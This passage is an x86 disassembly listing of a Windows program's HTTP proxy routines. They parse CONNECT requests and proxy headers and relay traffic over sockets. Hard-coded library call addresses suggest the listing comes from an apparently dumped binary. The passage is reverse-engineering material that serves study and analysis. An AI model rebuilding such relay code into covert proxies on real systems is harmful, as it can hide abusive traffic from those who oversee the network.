mov dword ptr [esi], offset off_43E14C
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+2Ch+var_4], 2
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4015D7
lea ecx, [esp+2Ch+var_24]
mov byte ptr [esp+2Ch+var_4], 1
call sub_401226
mov ecx, [esp+2Ch+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 28h
retn
sub_428160 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428220 proc near ; CODE XREF: ___:00401E15j sub_4021B2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BD1
test [esp+4+arg_0], 1
jz short loc_428238
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_428238: ; CODE XREF: sub_428220+Dj
mov eax, esi
pop esi
retn 4
sub_428220 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428250 proc near ; CODE XREF: sub_401BD1j
push esi
mov esi, ecx
push edi
mov edi, dword_50FC88
mov eax, [esi+0BFh]
mov dword ptr [esi], offset off_43E14C
cmp eax, 0FFFFFFFFh
jz short loc_42826E
push eax
call edi ; closesocket
loc_42826E: ; CODE XREF: sub_428250+19j
mov eax, [esi+0BBh]
cmp eax, 0FFFFFFFFh
jz short loc_42827C
push eax
call edi ; closesocket
loc_42827C: ; CODE XREF: sub_428250+27j
lea ecx, [esi+0A1h]
call sub_401226
mov ecx, esi
call sub_40179E
pop edi
pop esi
retn
sub_428250 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4282C0 proc near ; CODE XREF: sub_401D2Aj
var_B0 = byte ptr -0B0h
var_AA = byte ptr -0AAh
var_A8 = byte ptr -0A8h
var_A7 = byte ptr -0A7h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_5C = byte ptr -5Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_3C = byte ptr -3Ch
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_18 = byte ptr -18h
var_C = byte ptr -0Ch
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_C = byte ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_24 = byte ptr 28h
arg_28 = byte ptr 2Ch
arg_34 = byte ptr 38h
arg_3C = byte ptr 40h
arg_40 = byte ptr 44h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_4A = word ptr 4Eh
arg_4C = dword ptr 50h
arg_50 = dword ptr 54h
arg_54 = dword ptr 58h
arg_58 = dword ptr 5Ch
arg_64 = byte ptr 68h
arg_68 = byte ptr 6Ch
arg_6C = byte ptr 70h
arg_91 = byte ptr 95h
arg_98 = byte ptr 9Ch
arg_9D = byte ptr 0A1h
arg_AD = byte ptr 0B1h
arg_D0 = dword ptr 0D4h
arg_D4 = byte ptr 0D8h
arg_E0 = dword ptr 0E4h
arg_E4 = byte ptr 0E8h
arg_EC = dword ptr 0F0h
arg_F0 = byte ptr 0F4h
arg_FC = byte ptr 100h
arg_108 = byte ptr 10Ch
arg_12C = byte ptr 130h
arg_150 = byte ptr 154h
arg_15C = byte ptr 160h
arg_180 = byte ptr 184h
arg_18C = byte ptr 190h
arg_1A4 = byte ptr 1A8h
arg_1B0 = byte ptr 1B4h
arg_1F8 = byte ptr 1FCh
arg_210 = byte ptr 214h
arg_228 = byte ptr 22Ch
arg_230 = byte ptr 234h
arg_240 = byte ptr 244h
arg_244 = dword ptr 248h
arg_248 = dword ptr 24Ch
arg_24C = dword ptr 250h
arg_258 = byte ptr 25Ch
arg_374 = byte ptr 378h
arg_3EC = byte ptr 3F0h
arg_3FC = byte ptr 400h
arg_40C = byte ptr 410h
arg_41C = byte ptr 420h
arg_42C = byte ptr 430h
arg_43C = byte ptr 440h
arg_44C = byte ptr 450h
arg_45C = byte ptr 460h
arg_478 = byte ptr 47Ch
arg_4478 = byte ptr 447Ch
arg_53D0 = dword ptr 53D4h
arg_53E0 = dword ptr 53E4h
arg_5434 = byte ptr 5438h
arg_5444 = byte ptr 5448h
arg_544C = dword ptr 5450h
arg_5454 = dword ptr 5458h
arg_5480 = dword ptr 5484h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43BA92
push eax
mov eax, 5488h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov ebp, ecx
or esi, 0FFFFFFFFh
push edi
mov [ebp+0BFh], esi
mov byte ptr [esp+11h], 0
mov [esp+1Ch+var_A], 0
loc_4282F8: ; CODE XREF: sub_4282C0+FC6j
lea ecx, [esp+1Ch+arg_98]
call sub_401B36
lea ecx, [esp+1Ch+var_8]
mov [esp+1Ch+arg_5480], 0
mov [esp+1Ch+var_9], 0
call sub_401424
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+20h+arg_374]
push 104h
push eax
push ecx
mov byte ptr [esp+2Ch+arg_5480], 1
call sub_401280
add esp, 10h
test al, al
jz loc_429310
lea edx, [esp+1Ch+arg_374]
lea ecx, [esp+1Ch+arg_10]
push edx
call sub_401861
push offset byte_446F70
lea ecx, [esp+20h+arg_10]
mov byte ptr [esp+20h+arg_5480], 2
call sub_4012EE
test eax, eax
jnz short loc_4283B0
lea ecx, [esp+1Ch+arg_10]
mov byte ptr [esp+1Ch+arg_5480], 1
call sub_401226
lea ecx, [esp+1Ch+var_8]
mov byte ptr [esp+1Ch+arg_5480], 0
call sub_401226
lea ecx, [esp+1Ch+arg_98]
mov [esp+1Ch+arg_5480], esi
call sub_4014B0
jmp loc_429280
; ---------------------------------------------------------------------------
loc_4283B0: ; CODE XREF: sub_4282C0+B4j
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_210]
push 0
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset off_445258
mov ecx, eax
mov byte ptr [esp+20h+arg_5480], 3
call sub_401500
test eax, eax
lea ecx, [esp+1Ch+arg_210]
mov byte ptr [esp+1Ch+arg_5480], 2
setz bl
call sub_401226
test bl, bl
jz short loc_428475
push offset asc_443600 ; " "
lea ecx, [esp+20h+arg_1F8]
push 1
push ecx
lea ecx, [esp+28h+arg_10]
mov [esp+28h+var_9], 1
call sub_4016AE
lea edx, [esp+1Ch+arg_98]
mov ecx, eax
push edx
mov byte ptr [esp+20h+arg_5480], 4
call sub_4017E4
push eax
call sub_401938
add esp, 8
lea ecx, [esp+1Ch+arg_1F8]
test al, al
setz bl
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
test bl, bl
jnz loc_4292FF
push offset aHttp ; "http"
lea ecx, [esp+20h+arg_98]
call sub_4012EE
test eax, eax
jnz loc_4292FF
jmp loc_42866A
; ---------------------------------------------------------------------------
loc_428475: ; CODE XREF: sub_4282C0+137j
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_228]
push 0
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset aConnect_0 ; "CONNECT"
mov ecx, eax
mov byte ptr [esp+20h+arg_5480], 5
call sub_401500
test eax, eax
lea ecx, [esp+1Ch+arg_228]
mov byte ptr [esp+1Ch+arg_5480], 2
setz bl
call sub_401226
test bl, bl
jz loc_42866A
push offset aConnect ; "connect"
lea ecx, [esp+20h+arg_98]
mov [esp+20h+var_9], 0
call sub_4015D7
push offset byte_446F70
lea ecx, [esp+20h+arg_F0]
call sub_4015D7
push offset asc_443600 ; " "
lea ecx, [esp+20h+arg_108]
push 1
push ecx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+20h+arg_150]
push 0
push edx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 6
call sub_4016AE
push eax
lea ecx, [esp+20h+arg_AD]
mov byte ptr [esp+20h+arg_5480], 7
call sub_401FBE
lea ecx, [esp+1Ch+arg_150]
mov byte ptr [esp+1Ch+arg_5480], 6
call sub_401226
lea ecx, [esp+1Ch+arg_108]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_258]
push 1
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C94 ; ":"
lea ecx, [esp+20h+arg_180]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 8
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+1Ch+arg_5480], 9
call sub_4017E4
test eax, eax
lea ecx, [esp+1Ch+arg_180]
mov byte ptr [esp+1Ch+arg_5480], 8
setz bl
call sub_401226
lea ecx, [esp+1Ch+arg_258]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
test bl, bl
jnz loc_4292FF
push offset asc_443600 ; " "
lea edx, [esp+20h+arg_240]
push 1
push edx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C94 ; ":"
lea ecx, [esp+20h+arg_1B0]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 0Ah
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+1Ch+arg_5480], 0Bh
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+1Ch+arg_1B0]
mov [esp+1Ch+arg_EC], eax
mov byte ptr [esp+1Ch+arg_5480], 0Ah
call sub_401226
lea ecx, [esp+1Ch+arg_240]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
mov eax, [esp+1Ch+arg_EC]
test eax, eax
jnz short loc_42866A
mov [esp+1Ch+arg_EC], 50h
loc_42866A: ; CODE XREF: sub_4282C0+1B0j
; sub_4282C0+1FCj ...
push offset asc_443600 ; " "
lea edx, [esp+20h+arg_28]
push 0
push edx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset byte_446F70
lea ecx, [esp+20h+arg_28]
mov byte ptr [esp+20h+arg_5480], 0Ch
call sub_4012EE
test eax, eax
jz loc_4292EE
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_40]
push 2
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset byte_446F70
lea ecx, [esp+20h+arg_40]
mov byte ptr [esp+20h+arg_5480], 0Dh
call sub_4012EE
test eax, eax
jz loc_4292DD
lea ecx, [esp+1Ch+arg_AD]
push ecx
lea ecx, [esp+20h+arg_68]
call sub_4014C9
mov ecx, 1000h
xor eax, eax
lea edi, [esp+1Ch+arg_478]
or ebx, 0FFFFFFFFh
rep stosd
mov edi, offset aHttprox ; "HTTPROX"
mov ecx, ebx
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+1Ch+arg_4478]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte ptr [esp+1Ch+arg_5480], 0Eh
shr ecx, 2
rep movsd
mov ecx, eax
lea eax, [esp+1Ch+arg_4478]
and ecx, 3
rep movsb
mov esi, offset asc_445230 ; "\r\n"
loc_428731: ; CODE XREF: sub_4282C0+48Fj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428755
test cl, cl
jz short loc_428751
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428755
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428731
loc_428751: ; CODE XREF: sub_4282C0+47Bj
xor eax, eax
jmp short loc_428759
; ---------------------------------------------------------------------------
loc_428755: ; CODE XREF: sub_4282C0+477j
; sub_4282C0+485j
sbb eax, eax
sbb eax, ebx
loc_428759: ; CODE XREF: sub_4282C0+493j
test eax, eax
jz loc_428833
mov edi, dword_50FACC
loc_428767: ; CODE XREF: sub_4282C0+56Dj
mov esi, offset byte_446F70
lea eax, [esp+1Ch+arg_4478]
loc_428773: ; CODE XREF: sub_4282C0+4D1j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428797
test cl, cl
jz short loc_428793
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428797
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428773
loc_428793: ; CODE XREF: sub_4282C0+4BDj
xor eax, eax
jmp short loc_42879B
; ---------------------------------------------------------------------------
loc_428797: ; CODE XREF: sub_4282C0+4B9j
; sub_4282C0+4C7j
sbb eax, eax
sbb eax, ebx
loc_42879B: ; CODE XREF: sub_4282C0+4D5j
test eax, eax
jz loc_428833
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+20h+arg_4478]
push 1000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_429339
lea edx, [esp+1Ch+arg_4478]
push 4000h
lea eax, [esp+20h+arg_478]
push edx
push eax
call edi ; strncat
push 4000h
lea ecx, [esp+2Ch+arg_478]
push offset asc_445230 ; "\r\n"
push ecx
call edi ; strncat
add esp, 18h
mov esi, offset asc_445230 ; "\r\n"
lea eax, [esp+1Ch+arg_4478]
loc_428803: ; CODE XREF: sub_4282C0+561j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428827
test cl, cl
jz short loc_428823
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428827
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428803
loc_428823: ; CODE XREF: sub_4282C0+54Dj
xor eax, eax
jmp short loc_42882B
; ---------------------------------------------------------------------------
loc_428827: ; CODE XREF: sub_4282C0+549j
; sub_4282C0+557j
sbb eax, eax
sbb eax, ebx
loc_42882B: ; CODE XREF: sub_4282C0+565j
test eax, eax
jnz loc_428767
loc_428833: ; CODE XREF: sub_4282C0+49Bj
; sub_4282C0+4DDj
mov esi, dword_50FAF8
lea eax, [esp+1Ch+arg_478]
push offset aProxyConnectio ; "Proxy-Connection:"
push eax
call esi ; strstr
add esp, 8
test eax, eax
jz short loc_428887
push offset asc_443C94 ; ":"
push eax
call esi ; strstr
add esp, 8
inc eax
jz short loc_428887
cmp byte ptr [eax], 20h
jnz short loc_42886B
loc_428862: ; CODE XREF: sub_4282C0+5A9j
mov cl, [eax+1]
inc eax
cmp cl, 20h
jz short loc_428862
loc_42886B: ; CODE XREF: sub_4282C0+5A0j
push offset aKeepAlive ; "Keep-Alive"
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz short loc_428887
mov byte ptr [ebp+0BAh], 1
jmp short loc_42888E
; ---------------------------------------------------------------------------
loc_428887: ; CODE XREF: sub_4282C0+58Dj
; sub_4282C0+59Bj ...
mov byte ptr [ebp+0BAh], 0
loc_42888E: ; CODE XREF: sub_4282C0+5C5j
cmp [ebp+0BFh], ebx
jnz loc_428926
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, ebx
mov [ebp+0BFh], eax
jz loc_42940D
mov edx, [esp+28h+arg_E0]
xor ecx, ecx
mov [esp+28h+arg_4C], ecx
push edx
mov [esp+2Ch+arg_50], ecx
mov word ptr [esp+2Ch+arg_4C], 2
mov [esp+2Ch+arg_54], ecx
mov [esp+2Ch+arg_58], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esp+2Ch+arg_9D]
mov [esp+2Ch+arg_4A], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
cmp eax, ebx
mov [esp+2Ch+arg_4C], eax
jz loc_42934B
mov ecx, [ebp+0BFh]
lea eax, [esp+2Ch+arg_48]
push 10h
push eax
push ecx
call near ptr 71AB406Ah
nop
cmp eax, ebx
jz loc_4293A8
loc_428926: ; CODE XREF: sub_4282C0+5D4j
mov al, [esp+13h]
test al, al
jz loc_428FCE
mov al, [ebp+0BAh]
test al, al
jz short loc_428971
lea edx, [esp+38h+arg_45C]
lea ecx, [esp+38h+arg_24]
push edx
call sub_4017E4
push eax
lea ecx, [esp+40h+arg_D4]
call sub_4017E4
push eax
lea ecx, [esp+44h+arg_C]
call sub_4017E4
push eax
lea eax, [esp+48h+var_24]
push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s"
push eax
jmp short loc_4289A4
; ---------------------------------------------------------------------------
loc_428971: ; CODE XREF: sub_4282C0+67Aj
lea ecx, [esp+38h+arg_45C]
push ecx
lea ecx, [esp+3Ch+arg_24]
call sub_4017E4
push eax
lea ecx, [esp+40h+arg_D4]
call sub_4017E4
push eax
lea ecx, [esp+44h+arg_C]
call sub_4017E4
push eax
lea edx, [esp+48h+var_24]
push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s"
push edx
loc_4289A4: ; CODE XREF: sub_4282C0+6AFj
call sub_40102D
add esp, 18h
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
push eax
mov eax, [ebp+0BFh]
push eax
call near ptr 71AB428Ah
nop
test eax, eax
jz loc_4293F2
cmp eax, ebx
jz loc_4293F2
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+4Ch+arg_44C]
push 4000h
push ecx
push edx
call sub_401280
add esp, 10h
test al, al
jz loc_42941F
mov edi, offset asc_445230 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+48h+arg_44C]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+4Ch+arg_44C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+4Ch+arg_44C]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
xor ebx, ebx
mov esi, offset asc_445230 ; "\r\n"
mov [esp+58h+var_2C], ebx
lea eax, [esp+58h+arg_43C]
loc_428A6E: ; CODE XREF: sub_4282C0+7CCj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428A92
test cl, cl
jz short loc_428A8E
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428A92
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428A6E
loc_428A8E: ; CODE XREF: sub_4282C0+7B8j
xor eax, eax
jmp short loc_428A97
; ---------------------------------------------------------------------------
loc_428A92: ; CODE XREF: sub_4282C0+7B4j
; sub_4282C0+7C2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428A97: ; CODE XREF: sub_4282C0+7D0j
test eax, eax
jz loc_428E19
loc_428A9F: ; CODE XREF: sub_4282C0+B48j
mov esi, offset byte_446F70
lea eax, [esp+58h+arg_43C]
loc_428AAB: ; CODE XREF: sub_4282C0+80Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428AD3
test cl, cl
jz short loc_428ACF
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428AD3
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428AAB
loc_428ACF: ; CODE XREF: sub_4282C0+7F7j
xor eax, eax
jmp short loc_428AD8
; ---------------------------------------------------------------------------
loc_428AD3: ; CODE XREF: sub_4282C0+7F3j
; sub_4282C0+803j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428AD8: ; CODE XREF: sub_4282C0+811j
test eax, eax
jz loc_428E15
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+5Ch+arg_43C]
push 4000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_428E10
lea edx, [esp+58h+arg_43C]
lea ecx, [esp+58h+arg_44]
push edx
call sub_401861
push offset asc_443600 ; " "
lea eax, [esp+5Ch+arg_1A4]
push 0
push eax
lea ecx, [esp+64h+arg_44]
mov [esp+64h+arg_5444], 0Fh
call sub_4016AE
push offset aContentLength ; "Content-Length:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 10h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_1A4]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428BBA
push offset asc_443600 ; " "
lea ecx, [esp+5Ch+arg_E4]
push 1
push ecx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
mov ecx, eax
mov [esp+58h+arg_5444], 11h
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+58h+arg_E4]
mov [esp+58h+var_2C], eax
mov [esp+58h+arg_5444], 0Fh
call sub_401226
loc_428BBA: ; CODE XREF: sub_4282C0+8ACj
push offset asc_443600 ; " "
lea edx, [esp+5Ch+arg_FC]
push 0
push edx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aTransferEncodi ; "Transfer-Encoding:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 12h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_FC]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428C49
push offset asc_443600 ; " "
lea eax, [esp+5Ch+arg_12C]
push 1
push eax
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aChunked ; "chunked"
mov ecx, eax
mov [esp+5Ch+arg_5444], 13h
call sub_401500
lea ecx, [esp+58h+arg_12C]
mov [esp+58h+arg_5444], 0Fh
call sub_401226
loc_428C49: ; CODE XREF: sub_4282C0+944j
push offset asc_443600 ; " "
lea ecx, [esp+5Ch+arg_15C]
push 0
push ecx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aConnection ; "Connection:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 14h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_15C]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428CE4
push offset asc_443600 ; " "
lea edx, [esp+5Ch+arg_18C]
push 1
push edx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aKeepAlive ; "Keep-Alive"
mov ecx, eax
mov [esp+5Ch+arg_5444], 15h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_18C]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
setnz [esp+58h+var_47]
loc_428CE4: ; CODE XREF: sub_4282C0+9D3j
mov esi, offset asc_445230 ; "\r\n"
lea eax, [esp+58h+arg_43C]
loc_428CF0: ; CODE XREF: sub_4282C0+A52j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428D18
test cl, cl
jz short loc_428D14
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428D18
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428CF0
loc_428D14: ; CODE XREF: sub_4282C0+A3Cj
xor eax, eax
jmp short loc_428D1D
; ---------------------------------------------------------------------------
loc_428D18: ; CODE XREF: sub_4282C0+A38j
; sub_4282C0+A48j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428D1D: ; CODE XREF: sub_4282C0+A56j
test eax, eax
jz loc_428DB9
mov esi, offset byte_446F70
lea eax, [esp+58h+arg_43C]
loc_428D31: ; CODE XREF: sub_4282C0+A93j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428D59
test cl, cl
jz short loc_428D55
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428D59
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428D31
loc_428D55: ; CODE XREF: sub_4282C0+A7Dj
xor eax, eax
jmp short loc_428D5E
; ---------------------------------------------------------------------------
loc_428D59: ; CODE XREF: sub_4282C0+A79j
; sub_4282C0+A89j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428D5E: ; CODE XREF: sub_4282C0+A97j
test eax, eax
jz short loc_428DB9
mov edi, offset asc_445230 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+58h+arg_43C]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+5Ch+arg_43C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+5Ch+arg_43C]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj
; sub_4282C0+AA0j
lea ecx, [esp+68h+arg_34]
mov [esp+68h+arg_5434], 0Eh
call sub_401226
mov esi, offset asc_445230 ; "\r\n"
lea eax, [esp+68h+arg_42C]
loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428E01
test cl, cl
jz short loc_428DFD
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428E01
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428DD9
loc_428DFD: ; CODE XREF: sub_4282C0+B25j
xor eax, eax
jmp short loc_428E06
; ---------------------------------------------------------------------------
loc_428E01: ; CODE XREF: sub_4282C0+B21j
; sub_4282C0+B31j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428E06: ; CODE XREF: sub_4282C0+B3Fj
test eax, eax
jnz loc_428A9F
jmp short loc_428E15
; ---------------------------------------------------------------------------
loc_428E10: ; CODE XREF: sub_4282C0+840j
mov [esp+58h+var_46], 1
loc_428E15: ; CODE XREF: sub_4282C0+81Aj
; sub_4282C0+B4Ej
mov ebx, [esp+58h+var_2C]
loc_428E19: ; CODE XREF: sub_4282C0+7D9j
mov al, [esp+58h+var_47]
push 0
test al, al
jz short loc_428E41
mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [ebp+0BBh]
not ecx
dec ecx
push ecx
push offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
push eax
jmp short loc_428E5D
; ---------------------------------------------------------------------------
loc_428E41: ; CODE XREF: sub_4282C0+B61j
mov edi, offset aConnectionClos ; "Connection: Close\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, [ebp+0BBh]
push offset aConnectionClos ; "Connection: Close\r\n"
push ecx
loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj
call near ptr 71AB428Ah
nop
mov edi, offset asc_445230 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+68h+arg_42C]
repne scasb
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, [ebp+0BBh]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+6Ch+arg_42C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
lea ecx, [esp+70h+arg_42C]
push ecx
push edx
nop
call near ptr 71AB428Ah
test ebx, ebx
jz loc_428F8C
xor edi, edi
test ebx, ebx
jle short loc_428F14
loc_428EC3: ; CODE XREF: sub_4282C0+C52j
mov eax, ebx
sub eax, edi
cmp eax, 4000h
jbe short loc_428F14
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+7Ch+arg_41C]
push 4000h
push ecx
push edx
call near ptr 71AB615Ah
nop
mov esi, eax
cmp esi, 1
jl short loc_428F14
cmp esi, 0FFFFFFFFh
jz short loc_428F14
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+8Ch+arg_40C]
push esi
push eax
push ecx
nop
call near ptr 71AB428Ah
add edi, esi
cmp edi, ebx
jl short loc_428EC3
loc_428F14: ; CODE XREF: sub_4282C0+C01j
; sub_4282C0+C0Cj ...
mov eax, ebx
sub eax, edi
jz short loc_428F5E
loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj
push 0
push eax
mov eax, [ebp+0BFh]
lea edx, [esp+0A0h+arg_3FC]
push edx
push eax
call near ptr 71AB615Ah
nop
mov esi, eax
cmp esi, 1
jl short loc_428F5E
cmp esi, 0FFFFFFFFh
jz short loc_428F5E
mov edx, [ebp+0BBh]
push 0
lea ecx, [esp+0ACh+arg_3EC]
push esi
push ecx
push edx
nop
call near ptr 71AB428Ah
add edi, esi
mov eax, ebx
sub eax, edi
jnz short loc_428F1A
loc_428F5E: ; CODE XREF: sub_4282C0+C58j
; sub_4282C0+C77j ...
mov al, [ebp+0BAh]
test al, al
jnz loc_4291EF
mov ecx, [ebp+0BBh]
push ecx
call near ptr 71AB9639h
nop
or esi, 0FFFFFFFFh
mov [esp+0BCh+var_AA], 1
mov [ebp+0BBh], esi
jmp loc_4291F2
; ---------------------------------------------------------------------------
loc_428F8C: ; CODE XREF: sub_4282C0+BF7j
mov esi, dword_50FC90
loc_428F92: ; CODE XREF: sub_4282C0+D0Cj
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+7Ch+arg_41C]
push 4000h
push eax
push ecx
call esi ; recv
cmp eax, 1
jl short loc_428F5E
cmp eax, 0FFFFFFFFh
jz short loc_428F5E
push 0
push eax
mov eax, [ebp+0BBh]
lea edx, [esp+90h+arg_40C]
push edx
push eax
nop
call near ptr 71AB428Ah
jmp short loc_428F92
; ---------------------------------------------------------------------------
loc_428FCE: ; CODE XREF: sub_4282C0+66Cj
lea ecx, [esp+38h+var_24]
push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
